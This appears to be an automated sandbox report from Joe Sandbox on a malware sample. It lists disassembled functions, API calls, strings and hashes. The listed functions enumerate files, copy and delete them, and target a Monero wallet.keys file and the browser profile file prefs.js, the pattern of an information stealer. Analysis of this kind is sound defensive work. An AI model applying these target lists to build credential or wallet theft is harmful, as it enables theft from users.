Instruction ID: c411f66a21dc04e7dbce422e370659d893394eb97306d4242ef106ae4e1d2500
Opcode Fuzzy Hash: a023ae1475e9592de8dba3c5969a57660c59baa50cdfabe4570b833df23ef76e
Instruction Fuzzy Hash: 695120B25402189BCB24EBF4DC99FE97778FB68700F404588A60DD6190EB75DA85CFA2

Function 008C3EA0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008C3EC3
FindFirstFileA.KERNEL32(?,?), ref: 008C3EDA
StrCmpCA.SHLWAPI(?,008D0FAC), ref: 008C3F08
StrCmpCA.SHLWAPI(?,008D0FB0), ref: 008C3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 008C406C
FindClose.KERNEL32(000000FF), ref: 008C4081

Strings

%s\%s, xrefs: 008C3EB7
{, xrefs: 008C3F62
0{, xrefs: 008C3F4F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: {$%s\%s$0{
API String ID: 180737720-4204578840
Opcode ID: 640361e6f53700d4a2a33454d539a75eefcbe69dcd24d9d80dc4b72e8dc6a07f
Instruction ID: 9680352416afbccf81771430480b1b3e0671306f3e0dcea994d390bdb1422ca0
Opcode Fuzzy Hash: 640361e6f53700d4a2a33454d539a75eefcbe69dcd24d9d80dc4b72e8dc6a07f
Instruction Fuzzy Hash: CA5110B1900218ABCB24EBE4DC85FEA7378FB58740F40858DB659D6140DA75EB8ACF91

Function 008BED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 008BED3E
FindFirstFileA.KERNEL32(?,?), ref: 008BED55
StrCmpCA.SHLWAPI(?,008D1538), ref: 008BEDAB
StrCmpCA.SHLWAPI(?,008D153C), ref: 008BEDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 008BF2AE
FindClose.KERNEL32(000000FF), ref: 008BF2C3

Strings

%s\*.*, xrefs: 008BED32

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 09b577621e0b32f6fa084b632b0d4d677f446fc3daa9c2605d68f8bce0c53e96
Instruction ID: 3c501381638f9be576f676aa563df85d478874b0a03d5e479842e3648177a846
Opcode Fuzzy Hash: 09b577621e0b32f6fa084b632b0d4d677f446fc3daa9c2605d68f8bce0c53e96
Instruction Fuzzy Hash: 80E1A97191111C9ADB58EB64DC96FEE7338FF54304F4041A9B50AE2192EE34AF8ACE52

Function 00C7B7B9 Relevance: 16.6, Strings: 12, Instructions: 1630COMMON

Download Yara Rule

Strings

awm, xrefs: 00C7C81C
rk?, xrefs: 00C7BDE8
tzm}, xrefs: 00C7B803
twU, xrefs: 00C7C39E
Wj|>, xrefs: 00C7C5DC
`9_, xrefs: 00C7C511
"vu, xrefs: 00C7B8BD
=Ww, xrefs: 00C7C1BD
b_{, xrefs: 00C7B823
6wo|, xrefs: 00C7C76C
3@Sv, xrefs: 00C7BADA
IA_, xrefs: 00C7BAB7

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: b_{$ rk?$"vu$3@Sv$6wo|$IA_$Wj|>$awm$tzm}$=Ww$`9_$twU
API String ID: 0-3776382672
Opcode ID: 984ed4194b3efa7f7605a828df479412178a8ef01417745ec7eda34fd24d402d
Instruction ID: 97b622398f2a0b623dc5cb5112c90656699dec15d0c40c71696815c501ead831
Opcode Fuzzy Hash: 984ed4194b3efa7f7605a828df479412178a8ef01417745ec7eda34fd24d402d
Instruction Fuzzy Hash: D6B21AF3A0C2009FE7046E2DEC8567ABBE5EFD4220F1A853DE9C4D7744E63598058697

Function 008BF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008D15B8,008D0D96), ref: 008BF71E
StrCmpCA.SHLWAPI(?,008D15BC), ref: 008BF76F
StrCmpCA.SHLWAPI(?,008D15C0), ref: 008BF785
FindNextFileA.KERNEL32(000000FF,?), ref: 008BFAB1
FindClose.KERNEL32(000000FF), ref: 008BFAC3

Strings

prefs.js, xrefs: 008BF812

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 3a536852fc31abfee61d8d8b2ac2cf8c66159aac0ff8adb471382ab10864354a
Instruction ID: 4e685b52eec346a5364527fe79dbaf8d38c3ff2fe7b8aef4445e6d81ea97b9e7
Opcode Fuzzy Hash: 3a536852fc31abfee61d8d8b2ac2cf8c66159aac0ff8adb471382ab10864354a
Instruction Fuzzy Hash: F3B111719001189BDB28EB64DC96FED7379FF54304F4085ADA50AD6292EF30AB49CB93

Function 008B16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008D510C,?,?,?,008D51B4,?,?,00000000,?,00000000), ref: 008B1923
StrCmpCA.SHLWAPI(?,008D525C), ref: 008B1973
StrCmpCA.SHLWAPI(?,008D5304), ref: 008B1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008B1D40
DeleteFileA.KERNEL32(00000000), ref: 008B1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 008B1E20
FindClose.KERNEL32(000000FF), ref: 008B1E32

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Strings

\*.*, xrefs: 008B17F1

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 7fcddb9455ed95249b6db4baaf0a30afce39152392d91b59167760bdab627206
Instruction ID: 4b56cc95dc90fc17b6a517d7b4d481c8e7c93b3f54b3dc830b84c4734de3fa50
Opcode Fuzzy Hash: 7fcddb9455ed95249b6db4baaf0a30afce39152392d91b59167760bdab627206
Instruction Fuzzy Hash: 3C12E97191011C9BCB19EB64DC96FEE7378FB54304F4041ADA51AE6191EF30AF89CBA2

Function 008BDE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,008D0C2E), ref: 008BDE5E
StrCmpCA.SHLWAPI(?,008D14C8), ref: 008BDEAE
StrCmpCA.SHLWAPI(?,008D14CC), ref: 008BDEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 008BE3E0
FindClose.KERNEL32(000000FF), ref: 008BE3F2

Strings

\*.*, xrefs: 008BDE26

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 531abac5f152e28d1672d6fbc72ec997c2a2485f9632090e6b53f15d1b0e3b01
Instruction ID: c8979fb2fe4f829a213ed16be274eaae8c4fedaa985aa3434ebb749db4e5ec5d
Opcode Fuzzy Hash: 531abac5f152e28d1672d6fbc72ec997c2a2485f9632090e6b53f15d1b0e3b01
Instruction Fuzzy Hash: 09F18E7181011C9BDB29EB64DC96FEE7338FF54304F4041ADA41AA2191EF34AF8ACE56

Function 008BDA80 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,008D14B0,008D0C2A), ref: 008BDAEB
StrCmpCA.SHLWAPI(?,008D14B4), ref: 008BDB33
StrCmpCA.SHLWAPI(?,008D14B8), ref: 008BDB49
FindNextFileA.KERNEL32(000000FF,?), ref: 008BDDCC
FindClose.KERNEL32(000000FF), ref: 008BDDDE

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 1ecc9bed3ce6939093ce1505bd53df1e103c63e70c6832ada570b53de69bcce7
Instruction ID: faf363dec4ba38ab3fb6155153964902fd142a977a9333f573fc326a72853c8c
Opcode Fuzzy Hash: 1ecc9bed3ce6939093ce1505bd53df1e103c63e70c6832ada570b53de69bcce7
Instruction Fuzzy Hash: DA910572900108A7CB18FBB4EC96EED777DFB94304F408668A95AD6141EE34DB09CB93

Function 008C7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

GetKeyboardLayoutList.USER32(00000000,00000000,008D05AF), ref: 008C7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 008C7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 008C7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 008C7C62
LocalFree.KERNEL32(00000000), ref: 008C7D22

Strings

/ , xrefs: 008C7C7F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: af0b9d060819c96f49ccfc0bbe3bb68f143ae4bde6af10f77e6664c682763e3c
Instruction ID: 7a5bf86d955b3743d7fdc80259ffce8931edb5c888d0bfe15636545bd5f4f058
Opcode Fuzzy Hash: af0b9d060819c96f49ccfc0bbe3bb68f143ae4bde6af10f77e6664c682763e3c
Instruction Fuzzy Hash: 25415D7194021CABCB24DB94DC99FEEB774FF54704F204199E50AA2280DB74AF85CFA2

Function 00C79C31 Relevance: 10.3, Strings: 7, Instructions: 1589COMMON

Download Yara Rule

Strings

F|W}, xrefs: 00C7A84B
B}o_, xrefs: 00C7A357
w6`", xrefs: 00C7A6BF
k5u}, xrefs: 00C79EBD
>-yo, xrefs: 00C7A0F5
'lo_, xrefs: 00C7A580
s{vk, xrefs: 00C7A4E1

Memory Dump Source

Source File: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 'lo_$>-yo$B}o_$F|W}$k5u}$s{vk$w6`"
API String ID: 0-49416624
Opcode ID: 888e63cff54631441ad0658b443d64ee998da0919c9fb1ffe7169135d402c7b4
Instruction ID: 3f8bb8c362145951a82c9ec94223e2557b808402c3472190287de4cc1661c441
Opcode Fuzzy Hash: 888e63cff54631441ad0658b443d64ee998da0919c9fb1ffe7169135d402c7b4
Instruction Fuzzy Hash: 9BB2F5F39082049FE3046F2DEC8566ABBE9EF94720F1A493DEAC4C7744E63598058797

Function 008BE430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,008D0D73), ref: 008BE4A2
StrCmpCA.SHLWAPI(?,008D14F8), ref: 008BE4F2
StrCmpCA.SHLWAPI(?,008D14FC), ref: 008BE508
FindNextFileA.KERNEL32(000000FF,?), ref: 008BEBDF

Strings

\*.*, xrefs: 008BE44D

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
